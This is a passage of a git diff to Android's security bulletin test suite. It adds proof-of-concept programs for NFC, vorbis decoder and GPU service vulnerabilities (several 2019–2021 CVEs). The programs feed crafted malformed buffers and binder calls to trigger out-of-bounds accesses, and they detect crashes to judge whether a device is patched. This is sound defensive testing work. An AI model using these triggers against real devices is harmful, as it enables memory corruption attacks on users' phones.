+  llcp_cb.lcb.agreed_minor_version = LLCP_MIN_SNL_MINOR_VERSION;
+  llcp_cb.lcb.link_state = LLCP_LINK_STATE_ACTIVATED;
+  // Set llcp_cb.lcb.local_link_miu greater than p_msg->len
+  llcp_cb.lcb.local_link_miu = 16400;
+  llcp_cb.lcb.received_first_packet = true;
+  llcp_cb.lcb.symm_state = LLCP_LINK_SYMM_REMOTE_XMIT_NEXT;
+  tNFC_CONN_EVT event = NFC_DATA_CEVT;
+
+  NFC_HDR *p_msg = (NFC_HDR *)(p_data->data.p_data);
+  // p_msg->len is calculated based on the total PDUs in AGF PDU
+  p_msg->len = 16395;
+  p_msg->offset = 0;
+  uint8_t *p = (uint8_t *)(p_msg + 1) + p_msg->offset;
+  // First 2 bytes are set to values so that call flow goes from llcp_link_proc_rx_data
+  // to llcp_link_proc_rx_pdu and then to llcp_link_proc_agf_pdu.
+  *p = 0x00;
+  *(p + 1) = 0x80;
+  // The following are trying to emulate PDUs in AGF PDU
+  *(p + 2) = 0x00;
+  *(p + 3) = 0x02;
+  *(p + 4) = 0x02;
+  *(p + 5) = 0x40;
+  *(p + 6) = 0x00;
+  *(p + 7) = 0x01;
+  *(p + 8) = 0x02;
+  *(p + 9) = 0x40;
+  *(p + 10) = 0x00;
+  *(p + 11) = 0x02;
+  *(p + 12) = 0x40;
+
+  llcp_link_connection_cback(conn_id, event, p_data);
+
+  free(p_data);
+  free(nfc_cb.quick_timer_queue.p_first);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2013/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2013/poc.cpp
index 23098ac..9f41b93 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2013/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2013/poc.cpp
@@ -17,6 +17,7 @@
 #include <nfc_int.h>
 #include <rw_int.h>
 #include <dlfcn.h>
+#include <unistd.h>
 
 #include "../includes/common.h"
 #include "../includes/memutils.h"
@@ -24,6 +25,24 @@
 #define T3T_MSG_FELICALITE_MC_OFFSET 0x01
 
 char enable_selective_overload = ENABLE_NONE;
+char *vulnPtr = nullptr;
+
+bool testInProgress = false;
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void* context) {
+    if (testInProgress && info->si_signo == SIGSEGV) {
+        size_t pageSize = getpagesize();
+        if (pageSize) {
+            char *vulnPtrGuardPage = (char *) ((size_t) vulnPtr & PAGE_MASK) + pageSize;
+            char *faultPage = (char *) ((size_t) info->si_addr & PAGE_MASK);
+            if (faultPage == vulnPtrGuardPage) {
+                (*old_action.sa_sigaction)(signum, info, context);
+                return;
+            }
+        }
+    }
+    _exit(EXIT_FAILURE);
+}
 
 extern tRW_CB rw_cb;
 extern tNFC_CB nfc_cb;
@@ -57,7 +76,7 @@
 }
 
 void *allocate_memory(size_t size) {
-    void *ptr = malloc(size);
+    void *ptr = memalign(16, size);
     memset(ptr, 0x0, size);
     kAllocatedPointers[++allocatedPointersIndex] = ptr;
     return ptr;
@@ -109,13 +128,15 @@
      block-write to complete */
 };
 
-void cback(uint8_t c __attribute__((unused)),
-           tRW_DATA* d __attribute__((unused))) {
+void cback(tRW_EVENT event __attribute__((unused)),
+           tRW_DATA* p_data __attribute__((unused))) {
 }
 
 int main() {
-
-    enable_selective_overload = ENABLE_ALL;
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigsegv_handler;
+    sigaction(SIGSEGV, &new_action, &old_action);
     tRW_T3T_CB* p_t3t = &rw_cb.tcb.t3t;
 
     GKI_init();
@@ -123,6 +144,7 @@
 
     uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
     uint8_t mrti_check = 1, mrti_update = 1;
+    enable_selective_overload = ENABLE_MEMALIGN_CHECK;
     if (rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) != NFC_STATUS_OK) {
         return EXIT_FAILURE;
     }
@@ -132,10 +154,12 @@
         return EXIT_FAILURE;
     }
     p_data->data.p_data = (NFC_HDR *) allocate_memory(sizeof(NFC_HDR) * 4);
+    enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
     if (!(p_data->data.p_data)) {
         free(p_data);
         return EXIT_FAILURE;
     }
+    vulnPtr = (char *)p_data->data.p_data;
     p_data->status = NFC_STATUS_OK;
 
     p_t3t->cur_cmd = RW_T3T_CMD_SET_READ_ONLY_HARD;
@@ -158,11 +182,12 @@
     nfc_cb.quick_timer_queue.p_first = &pFirst;
 
     rw_cb.p_cback = &cback;
+    testInProgress = true;
     p_cb->p_cback(0, event, p_data);
+    testInProgress = false;
 
     free(p_data->data.p_data);
     free(p_data);
 
-    enable_selective_overload = ENABLE_NONE;
     return EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2021/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2021/Android.bp
index 61166aa..de0a9aa 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2021/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2021/Android.bp
@@ -38,5 +38,6 @@
     ],
     cflags: [
         "-DCHECK_OVERFLOW",
+        "-DENABLE_SELECTIVE_OVERLOADING",
     ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2021/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2021/poc.cpp
index c8734bb..5205d05 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2021/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2021/poc.cpp
@@ -17,6 +17,29 @@
 #include <stdlib.h>
 #include <nfc_int.h>
 #include <rw_int.h>
+#include <unistd.h>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+char enable_selective_overload = ENABLE_NONE;
+char *vulnPtr = nullptr;
+
+bool testInProgress = false;
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void* context) {
+    if (testInProgress && info->si_signo == SIGSEGV) {
+        size_t pageSize = getpagesize();
+        if (pageSize) {
+            char *vulnPtrGuardPage = (char *) ((size_t) vulnPtr & PAGE_MASK) + pageSize;
+            char *faultPage = (char *) ((size_t) info->si_addr & PAGE_MASK);
+            if (faultPage == vulnPtrGuardPage) {
+                (*old_action.sa_sigaction)(signum, info, context);
+                return;
+            }
+        }
+    }
+    _exit(EXIT_FAILURE);
+}
 
 extern tRW_CB rw_cb;
 extern tNFC_CB nfc_cb;
@@ -26,7 +49,7 @@
         uint8_t mrti_check, uint8_t mrti_update);
 
 void *allocate_memory(size_t size) {
-    void *ptr = malloc(size);
+    void *ptr = memalign(16, size);
     memset(ptr, 0x0, size);
     return ptr;
 }
@@ -67,6 +90,10 @@
 }
 
 int main() {
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigsegv_handler;
+    sigaction(SIGSEGV, &new_action, &old_action);
     tRW_T3T_CB* p_t3t = &rw_cb.tcb.t3t;
 
     GKI_init();
@@ -75,20 +102,20 @@
 
     uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
     uint8_t mrti_check = 1, mrti_update = 1;
-    if (rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) != NFC_STATUS_OK) {
-        return EXIT_FAILURE;
-    }
+
+    enable_selective_overload = ENABLE_MEMALIGN_CHECK;
+    FAIL_CHECK((rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) == NFC_STATUS_OK));
 
     p_data = (tNFC_CONN *) allocate_memory(sizeof(tNFC_CONN));
-    if (!p_data) {
-        return EXIT_FAILURE;
-    }
+    FAIL_CHECK(p_data);
 
-    p_data->data.p_data = (NFC_HDR*)allocate_memory(3 * sizeof(NFC_HDR));
-    if(!p_data->data.p_data) {
+    p_data->data.p_data = (NFC_HDR *) allocate_memory(sizeof(NFC_HDR) * 3);
+    enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+    if (!(p_data->data.p_data)) {
         free(p_data);
-        return EXIT_FAILURE;
+        FAIL_CHECK(p_data->data.p_data);
     }
+    vulnPtr = (char *)p_data->data.p_data;
     p_data->status = NFC_STATUS_OK;
 
     p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
@@ -105,6 +132,8 @@
     tNFC_CONN_EVT event = NFC_DATA_CEVT;
     memcpy(p_t3t->peer_nfcid2, &p_t3t_rsp[T3T_MSG_RSP_OFFSET_IDM],
            NCI_NFCID2_LEN);
+    testInProgress = true;
     p_cb->p_cback(0, event, p_data);
+    testInProgress = false;
     return EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2022/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2022/Android.bp
index 2187f92..2c21381 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2022/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2022/Android.bp
@@ -38,5 +38,6 @@
     ],
     cflags: [
         "-DCHECK_OVERFLOW",
+        "-DENABLE_SELECTIVE_OVERLOADING",
     ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2022/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2022/poc.cpp
index f2150857..b9252c5 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2022/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2022/poc.cpp
@@ -20,6 +20,29 @@
 #include <nfc_api.h>
 #include <tags_defs.h>
 #include <rw_int.h>
+#include <unistd.h>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+char enable_selective_overload = ENABLE_NONE;
+char *vulnPtr = nullptr;
+
+bool testInProgress = false;
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void* context) {
+    if (testInProgress && info->si_signo == SIGSEGV) {
+        size_t pageSize = getpagesize();
+        if (pageSize) {
+            char *vulnPtrGuardPage = (char *) ((size_t) vulnPtr & PAGE_MASK) + pageSize;
+            char *faultPage = (char *) ((size_t) info->si_addr & PAGE_MASK);
+            if (faultPage == vulnPtrGuardPage) {
+                (*old_action.sa_sigaction)(signum, info, context);
+                return;
+            }
+        }
+    }
+    _exit(EXIT_FAILURE);
+}
 
 #define T3T_MSG_FELICALITE_MC_OFFSET 0x01
 
@@ -31,7 +54,7 @@
         uint8_t mrti_check, uint8_t mrti_update);
 
 void *allocate_memory(size_t size) {
-    void *ptr = malloc(size);
+    void *ptr = memalign(16, size);
     memset(ptr, 0x0, size);
     return ptr;
 }
@@ -104,19 +127,19 @@
 
     uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
     uint8_t mrti_check = 1, mrti_update = 1;
-    if (rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) != NFC_STATUS_OK) {
-        return EXIT_FAILURE;
-    }
+    enable_selective_overload = ENABLE_MEMALIGN_CHECK;
+    FAIL_CHECK(rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) == NFC_STATUS_OK);
 
     p_data = (tNFC_CONN *) allocate_memory(sizeof(tNFC_CONN));
-    if (!p_data) {
-        return EXIT_FAILURE;
-    }
+    FAIL_CHECK(p_data);
+
     p_data->data.p_data = (NFC_HDR *) allocate_memory(sizeof(NFC_HDR) * 4);
+    enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
     if (!(p_data->data.p_data)) {
         free(p_data);
-        return EXIT_FAILURE;
+        FAIL_CHECK(p_data->data.p_data);
     }
+    vulnPtr = (char *)p_data->data.p_data;
     p_data->status = NFC_STATUS_OK;
 
     p_t3t->cur_cmd = RW_T3T_CMD_FORMAT;
@@ -137,7 +160,9 @@
     tNFC_CONN_EVT event = NFC_DATA_CEVT;
     memcpy(p_t3t->peer_nfcid2, &p_t3t_rsp[T3T_MSG_RSP_OFFSET_IDM],
            NCI_NFCID2_LEN);
+    testInProgress = true;
     p_cb->p_cback(0, event, p_data);
+    testInProgress = false;
     free(p_data->data.p_data);
     free(p_data);
     return EXIT_SUCCESS;
@@ -152,19 +177,19 @@
 
     uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
     uint8_t mrti_check = 1, mrti_update = 1;
-    if (rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) != NFC_STATUS_OK) {
-        return EXIT_FAILURE;
-    }
+    enable_selective_overload = ENABLE_MEMALIGN_CHECK;
+    FAIL_CHECK(rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) == NFC_STATUS_OK);
 
     tNFC_CONN *p_data = (tNFC_CONN *) allocate_memory(sizeof(tNFC_CONN));
-    if (!p_data) {
-        return EXIT_FAILURE;
-    }
+    FAIL_CHECK(p_data);
+
     p_data->data.p_data = (NFC_HDR *) allocate_memory(sizeof(NFC_HDR) * 4);
+    enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
     if (!(p_data->data.p_data)) {
         free(p_data);
-        return EXIT_FAILURE;
+        FAIL_CHECK(p_data->data.p_data);
     }
+    vulnPtr = (char *)p_data->data.p_data;
     p_data->status = NFC_STATUS_OK;
 
     p_t3t->cur_cmd = RW_T3T_CMD_SET_READ_ONLY_HARD;
@@ -184,13 +209,19 @@
     tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
     tNFC_CONN_EVT event = NFC_DATA_CEVT;
 
+    testInProgress = true;
     p_cb->p_cback(0, event, p_data);
+    testInProgress = false;
     free(p_data->data.p_data);
     free(p_data);
     return EXIT_SUCCESS;
 }
 
 int main() {
+   sigemptyset(&new_action.sa_mask);
+   new_action.sa_flags = SA_SIGINFO;
+   new_action.sa_sigaction = sigsegv_handler;
+   sigaction(SIGSEGV, &new_action, &old_action);
    int ret = trigger_OOB_via_rw_t3t_act_handle_fmt_rsp();
    ret |= trigger_OOB_via_rw_t3t_act_handle_sro_rsp();
    return ret;
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2027/Android.bp
similarity index 78%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2019-2027/Android.bp
index 7b410b7..a080e08 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2027/Android.bp
@@ -15,8 +15,17 @@
  *
  */
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
-    name: "CVE-2021-29368",
+    name: "CVE-2019-2027",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+    srcs: [
+        "poc.cpp",
+    ],
+    shared_libs: [
+        "libvorbisidec",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2027/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2027/poc.cpp
new file mode 100644
index 0000000..b1426ee
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2027/poc.cpp
@@ -0,0 +1,95 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include "../includes/common.h"
+
+#define REF_COUNT 1
+
+extern "C" {
+#include <Tremolo/codebook.h>
+}
+
+bool testInProgress = false;
+struct sigaction new_action, old_action;
+void sigabrt_handler(int signum, siginfo_t *info, void* context) {
+    if (testInProgress && info->si_signo == SIGABRT) {
+        (*old_action.sa_sigaction)(signum, info, context);
+        return;
+    }
+    _exit(EXIT_FAILURE);
+}
+
+unsigned char data[] = {/* 24 bits to make sure the alignment is correct */
+                        0x42, 0x43, 0x56,
+                        /* 16 bits for codebook.dim */
+                        0x40, 0x00,
+                        /* 24 bits for codebook.entries */
+                        0x10, 0x00, 0x00,
+                        /* 1 bit for ordering which is unset for unordered */
+                        /* 1 bit set for specifying unused entries */
+                        /* 1 bit for valid length */
+                        /* 5 bits for length of entry */
+                        0x06,
+                        /* 1 bit for valid length */
+                        /* 5 bits for length of entry */
+                        /* 2 bits for specifying invalid length for next 2 entries */
+                        0x01,
+                        /* 8 bits for specifying invalid length for next 8 entries */
+                        0x00,
+                        /* 4 bits for specifying invalid length for next 4 entries */
+                        /* 4 bits for specifying the map type 1 */
+                        0x10,
+                        /* 32 bits for codebook.q_min */
+                        0x00, 0x00, 0x00, 0x00,
+                        /* 32 bits for codebook.q_del */
+                        0x00, 0x00, 0x00, 0x00,
+                        /* 4 bits for codebook.q_bits */
+                        /* 1 bit for codebook.q_seq */
+                        /* 4 bits for quantized values of codebook.q_val for quantvals = 2 */
+                        /* 7 bits remaining unused */
+                        0x01, 0x00};
+
+int main() {
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigabrt_handler;
+    sigaction(SIGABRT, &new_action, &old_action);
+
+    ogg_buffer buf;
+    ogg_reference ref;
+    oggpack_buffer bits;
+    codebook book = {};
+
+    memset(&buf, 0, sizeof(ogg_buffer));
+    memset(&ref, 0, sizeof(ogg_reference));
+    memset(&bits, 0, sizeof(oggpack_buffer));
+
+    buf.data = (uint8_t *)data;
+    buf.size = sizeof(data);
+    buf.refcount = REF_COUNT;
+
+    ref.buffer = &buf;
+    ref.length = sizeof(data);
+    oggpack_readinit(&bits, &ref);
+
+    testInProgress = true;
+    FAIL_CHECK(vorbis_book_unpack(&bits, &book) == 0);
+    testInProgress = false;
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2178/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2178/Android.bp
new file mode 100644
index 0000000..a4d2d24
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2178/Android.bp
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2019-2178",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    compile_multilib: "64",
+    include_dirs: [
+        "system/nfc/src/nfc/include/",
+        "system/nfc/src/include/",
+        "system/nfc/src/gki/common/",
+        "system/nfc/src/gki/ulinux/",
+    ],
+    shared_libs: [
+        "libnfc-nci",
+        "libchrome",
+        "libbase",
+        "liblog",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2178/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2178/poc.cpp
new file mode 100644
index 0000000..dc057b8
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2178/poc.cpp
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+#include <log/log.h>
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_t4t_select(void);
+void GKI_freebuf(void* x) { (void)x; }
+
+// borrowed from rw_t4t.cc
+/* main state */
+#define RW_T4T_STATE_READ_NDEF 0x03
+/* sub state */
+#define RW_T4T_SUBSTATE_WAIT_READ_RESP 0x05
+
+void GKI_start_timer(uint8_t, int32_t, bool) {}
+void GKI_stop_timer(uint8_t) {}
+
+void poc_cback(tRW_EVENT event, tRW_DATA* p_rw_data) {
+    (void)event;
+    (void)p_rw_data;
+}
+
+int main() {
+    tNFC_ACTIVATE_DEVT p_activate_params = {};
+    p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+    p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+    RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+    if (rw_cb.p_cback != &poc_cback) {
+        ALOGE("Structure tRW_CB mismatch rw_cb.p_cback=%p poc_cback=%p\n", rw_cb.p_cback,
+              poc_cback);
+        return EXIT_FAILURE;
+    }
+    tRW_T4T_CB* p_t4t = &rw_cb.tcb.t4t;
+    GKI_init();
+    rw_init();
+
+    if ((rw_t4t_select()) != NFC_STATUS_OK) {
+        return EXIT_FAILURE;
+    }
+
+    tNFC_CONN* p_data = (tNFC_CONN*)malloc(sizeof(tNFC_CONN));
+    if (!p_data) {
+        return EXIT_FAILURE;
+    }
+    p_data->data.p_data = (NFC_HDR*)malloc(sizeof(uint8_t) * 16);
+    if (!(p_data->data.p_data)) {
+        free(p_data);
+        return EXIT_FAILURE;
+    }
+    p_data->status = NFC_STATUS_OK;
+
+    p_t4t->state = RW_T4T_STATE_READ_NDEF;
+    p_t4t->sub_state = RW_T4T_SUBSTATE_WAIT_READ_RESP;
+
+    NFC_HDR* p_r_apdu = (NFC_HDR*)p_data->data.p_data;
+    p_r_apdu->offset = 8;
+    p_r_apdu->len = 1;
+
+    tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+    tNFC_CONN_EVT event = NFC_DATA_CEVT;
+
+    p_cb->p_cback(0, event, p_data);
+
+    free(p_data->data.p_data);
+    free(p_data);
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0072/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0072/Android.bp
index 65407dd..dad32cd 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0072/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0072/Android.bp
@@ -28,6 +28,7 @@
     compile_multilib: "64",
     shared_libs: [
         "libnfc-nci",
+        "liblog",
     ],
     include_dirs: [
         "system/nfc/src/nfc/include",
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0072/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0072/poc.cpp
index 048c6c7..24f5561 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0072/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0072/poc.cpp
@@ -15,6 +15,7 @@
  */
 
 #include "../includes/common.h"
+#include <log/log.h>
 #include <stdlib.h>
 
 #include <nfc_api.h>
@@ -32,6 +33,15 @@
 }
 
 int main() {
+  tNFC_ACTIVATE_DEVT p_activate_params = {};
+  p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+  p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+  RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+  if (rw_cb.p_cback != &poc_cback) {
+    ALOGE("Structure tRW_CB mismatch rw_cb.p_cback=%p poc_cback=%p\n",
+          rw_cb.p_cback, poc_cback);
+    return EXIT_FAILURE;
+  }
   tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t;
   rw_init();
   rw_cb.p_cback = &poc_cback;
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0420/Android.bp
similarity index 80%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2020-0420/Android.bp
index 7b410b7..b4078ae 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0420/Android.bp
@@ -16,7 +16,15 @@
  */
 
 cc_test {
-    name: "CVE-2021-29368",
+    name: "CVE-2020-0420",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+    srcs: [
+        "poc.cpp",
+    ],
+    shared_libs: [
+        "libutils",
+        "libbinder",
+        "libmedia",
+        "liblog",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0420/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0420/poc.cpp
new file mode 100644
index 0000000..426c6d2
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0420/poc.cpp
@@ -0,0 +1,59 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "../includes/common.h"
+#include <binder/IServiceManager.h>
+#include <binder/Parcel.h>
+#include <stdio.h>
+
+using namespace android;
+
+int main(void) {
+  status_t err;
+  sp<IServiceManager> sm = defaultServiceManager();
+  String16 name(String16("gpu"));
+  sp<IBinder> service = sm->checkService(name);
+  String16 interface_name = service->getInterfaceDescriptor();
+
+  Parcel data, reply;
+  std::string UpdatableDriverPath("CVE-2020-0420");
+  data.writeInterfaceToken(interface_name);
+  data.writeUtf8AsUtf16(UpdatableDriverPath);
+  err = service->transact(3 /*SET_UPDATABLE_DRIVER_PATH,*/, data, &reply, 0);
+  if (err != OK) {
+    return EXIT_FAILURE;
+  }
+
+  Parcel data1, reply1;
+  data1.writeInterfaceToken(interface_name);
+  err = service->transact(4 /*GET_UPDATABLE_DRIVER_PATH,*/, data1, &reply1, 0);
+  if (err != OK) {
+    return EXIT_FAILURE;
+  }
+  std::string driverPath;
+  err = reply1.readUtf8FromUtf16(&driverPath);
+  if (err != OK) {
+    return EXIT_FAILURE;
+  }
+
+  /** If the driver path returned is same as that was set, then there is no
+   * check in the API and the vulnerability is present.
+   */
+  if (0 == strcmp(driverPath.c_str(), UpdatableDriverPath.c_str())) {
+    return EXIT_VULNERABLE;
+  }
+
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
similarity index 96%
rename from hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
rename to hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
index 7b410b7..3d54d70 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
@@ -16,7 +16,7 @@
  */
 
 cc_test {
-    name: "CVE-2021-29368",
+    name: "CVE-2020-29368",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
     srcs: ["poc.cpp",],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/poc.cpp
similarity index 100%
rename from hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/poc.cpp
rename to hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/poc.cpp
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/Android.bp
new file mode 100644
index 0000000..cdcf942
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/Android.bp
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2021-0596",
